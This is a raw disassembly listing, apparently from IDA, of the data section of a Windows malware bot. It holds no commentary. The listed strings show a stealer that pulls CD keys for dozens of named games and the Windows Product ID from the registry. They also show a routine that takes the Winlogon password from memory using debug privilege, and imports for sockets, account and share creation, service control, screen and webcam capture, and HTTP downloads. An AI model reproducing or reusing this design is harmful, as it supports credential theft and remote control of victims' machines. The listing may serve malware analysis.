		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 436EDCh,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 436EDCh,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 436EDCh,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 436EDCh,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 436EDCh,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 436EDCh,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 436EDCh,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 436EDCh,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 436EDCh,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 436EDCh,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 436EDCh,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		fsubr	qword ptr [esi+43h]
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 436EDCh,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 436EDCh,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 436EDCh,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 436EDCh,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 436EDCh,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 436EDCh,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 436EDCh,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 436EDCh,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 436EDCh,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
